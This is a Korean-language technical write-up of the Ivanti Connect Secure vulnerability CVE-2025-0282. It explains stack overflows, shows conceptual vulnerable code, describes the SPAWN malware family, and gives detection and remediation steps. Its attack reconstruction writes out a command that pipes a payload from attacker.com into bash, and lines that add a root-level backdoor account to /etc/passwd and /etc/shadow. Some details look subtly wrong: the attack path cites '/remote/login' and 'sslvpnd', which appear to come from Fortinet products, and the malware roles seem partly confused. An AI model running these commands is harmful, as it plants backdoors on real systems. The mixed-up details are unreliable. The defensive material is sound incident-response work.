개요
| 항목 | 내용 |
|---|---|
| CVE ID | CVE-2025-0282 |
| CVSS 점수 | 9.0 (Critical) |
| 영향 제품 | Ivanti Connect Secure < 22.7R2.5, Policy Secure, ZTA Gateways |
| 취약점 유형 | Stack Buffer Overflow → RCE |
| 인증 필요 | ❌ Pre-auth RCE |
| 발견 | Mandiant, 2025년 1월 |
| 패치 | 2025-01-08 |
기본 원리: 스택 버퍼 오버플로우
스택 메모리 구조
프로그램이 함수를 호출할 때 스택(Stack)에 스택 프레임이 생성된다. 스택 프레임에는 함수의 지역 변수, 반환 주소, 이전 스택 포인터가 저장된다.
스택 메모리 (높은 주소 → 낮은 주소로 성장):
높은 주소
+--------------------+
| 반환 주소(RET) | ← 함수 종료 후 돌아갈 주소
+--------------------+
| 저장된 RBP | ← 이전 스택 프레임 포인터
+--------------------+
| 지역 변수 |
| char buf[256] | ← 고정 크기 버퍼 (256바이트)
+--------------------+
낮은 주소
오버플로우가 일어나면
strcpy(), gets(), sprintf() 등 길이 검사 없이 복사하는 함수가 버퍼 크기보다 큰 데이터를 쓰면 인접한 메모리를 덮어쓴다.
void parse_request(char *input) {
char buffer[256]; // 256바이트 스택 버퍼
strcpy(buffer, input); // input 길이가 256을 초과하면 오버플로우!
}
// 공격자가 300바이트 input 전송:
// buffer[0..255]: 정상 데이터
// buffer[256..263]: 저장된 RBP 덮어씀
// buffer[264..271]: 반환 주소 덮어씀 ← 여기가 핵심!
// buffer[272..299]: 나머지 (셸코드 또는 ROP 가젯)
// 함수가 ret 명령 실행 시:
// → 스택에서 조작된 반환 주소를 EIP/RIP에 로드
// → 공격자가 원하는 코드로 점프
현대적 보호 기법과 우회
현대 시스템의 보호 기법:
ASLR (Address Space Layout Randomization):
→ 스택/힙/라이브러리 주소를 매 실행마다 랜덤화
→ 우회: 정보 유출로 베이스 주소 파악, 부분 주소 덮어쓰기
Stack Canary:
→ 버퍼와 반환 주소 사이에 랜덤 값 배치
→ 반환 전 값 변경 여부 확인
→ 우회: 카나리 값 유출 또는 오버플로우 없이 직접 반환 주소 쓰기 (포맷 스트링 등)
NX/DEP (Non-Executable Stack):
→ 스택 영역 코드 실행 금지
→ 우회: ROP(Return Oriented Programming) — 기존 코드 조각 재활용
VPN 장비는 임베디드 리눅스 기반으로 이런 보호 기법이
일반 배포판보다 약하게 적용되는 경우가 많음
취약점 상세
영향 받는 버전
Ivanti Connect Secure: 22.7R2.4 이하
Ivanti Policy Secure: 22.7R1.2 이하
Ivanti Neurons for ZTA Gateways: 22.7R2.3 이하
취약한 컴포넌트
/* 취약한 코드 개념 (의사코드) */
void handle_http_request(char *request_data) {
char buffer[256]; /* 고정 크기 스택 버퍼 */
/* HTTP 요청 파라미터를 버퍼에 복사 — 길이 검사 없음 */
strcpy(buffer, request_data); /* ← 취약점 */
process_request(buffer);
}
/* 공격: 256바이트를 초과하는 HTTP 요청 전송
→ 반환 주소 덮어쓰기
→ ROP 체인으로 system() 또는 셸 실행 */
공격 경로:
인터넷 → HTTPS 443/4443 → Ivanti SSL VPN 웹 인터페이스
→ /remote/login 또는 기타 엔드포인트 HTTP 파라미터 전송
→ sslvpnd 데몬의 버퍼 오버플로우
→ 루트 권한 코드 실행
실제 악용 사례 (Mandiant 분석)
공격 그룹: UNC5337 (중국 관련 추정)
발견 경위: Mandiant가 고객 침해 사고 조사 중 발견
공격 시작: 2024년 12월 (패치 전 제로데이 악용)
SPAWN 악성코드 계열
공격자들은 RCE 후 맞춤형 악성코드를 배포해 Ivanti 특화 지속성을 확보했다.
SPAWNANT:
역할: 설치 프로그램 / 지속성 확보 도구
특징: Ivanti의 ICT(Integrity Check Tool) 우회
→ 무결성 검사 통과 위해 검사 도구 자체를 조작
SPAWNMOLE:
역할: SOCKS5 프록시 터널 (네트워크 피벗)
특징: 정상 VPN 프로세스(dsmdm 등)에 인젝션
→ 합법적 VPN 트래픽으로 위장
→ 방화벽/IDS 탐지 회피
SPAWNSNAIL:
역할: SSH 백도어 (영구 원격 접근)
특징: /etc/passwd에 새 계정 추가
특수 SSH 키로만 접근 가능
→ 패치 적용 후에도 백도어가 살아남을 수 있음
# 공격 후 행동 재구성
# 1. CVE-2025-0282로 루트 쉘 획득
# 2. SPAWNANT 설치
bash -c "curl http://attacker.com/spawnant | bash"
# 3. SPAWNMOLE (프록시) 인젝션 — 합법적 프로세스로 위장
# PID=$(pgrep dsmdm)
# 해당 프로세스에 SPAWNMOLE 인젝션
# 4. SPAWNSNAIL (SSH 백도어) 설치
echo "backdoor:x:0:0::/:/bin/bash" >> /etc/passwd
echo "backdoor:$(openssl passwd -1 'secretpass'):18000:0:99999:7:::" >> /etc/shadow
# 5. ICT 조작 — 무결성 검사 우회
# /tmp에 악성 파일 숨기거나 ICT 실행 프로세스 자체 후킹
탐지 방법
# Ivanti 공식 ICT(Integrity Check Tool) 실행
# https://forums.ivanti.com/s/article/KB-CVE-2025-0282
# 의심스러운 프로세스 확인
ps aux | grep -E "spawnmole|spawnsnail|spawnant"
# 비정상적인 네트워크 연결
netstat -tlnp | grep ESTABLISHED | grep -v ":(443|22|4443)"
# /etc/passwd에 최근 추가된 계정 확인
grep "0:0" /etc/passwd # UID 0 (루트 권한) 계정
awk -F: '$3 == 0 {print $1}' /etc/passwd # UID 0인 계정 모두 출력
# 파일 시스템 이상 확인
find /bin /lib /usr -newer /var/log/install.log -type f 2>/dev/null
대응 방법
1단계: 즉시 패치
Connect Secure: 22.7R2.5 이상으로 업그레이드
Policy Secure: 22.7R1.3 이상
ZTA Gateways: 22.7R2.5 이상
2단계: 침해 여부 확인
- Ivanti ICT 도구로 무결성 검사
- CISA Emergency Directive 25-01 체크리스트 확인
- 위 탐지 명령어로 백도어 계정, 비정상 프로세스 확인
3단계: 침해 확인 시
- 장비 공장 초기화 (Factory Reset) — 백도어 완전 제거
- 모든 VPN 자격증명 즉시 재설정
- 세션 토큰 전면 무효화
- 내부망 측방 이동 여부 조사 (Compromise Assessment)
- 외부 포렌식 팀 투입 권고
4단계: 장기 조치
- 불필요한 외부 노출 최소화 (VPN 관리 인터페이스 접근 제한)
- 지속적인 로그 모니터링
- VPN 장비 OS 정기 업데이트 정책 수립
교훈
VPN 장비의 특수한 위험성:
- 인터넷 직접 노출 + 내부망 접근 권한 = 최우선 공격 표적
- VPN 장비 침해 = 내부망 전체 노출
- Ivanti(CVE-2025-0282), Fortinet(CVE-2024-21762), PaloAlto(CVE-2024-3400)
→ 모두 2024~2025년 VPN 장비 제로데이 악용 사례
네트워크 경계 장비 보안 원칙:
1. 펌웨어 자동 업데이트 정책 (Critical 패치 = 48시간 이내 적용)
2. 관리 인터페이스 접근 IP 화이트리스트 제한
3. VPN 로그 실시간 모니터링 + SIEM 연동
4. Assume Breach 원칙: VPN 장비 침해를 가정하고 내부망 세그멘테이션
5. 연 1회 이상 외부 침투 테스트 실시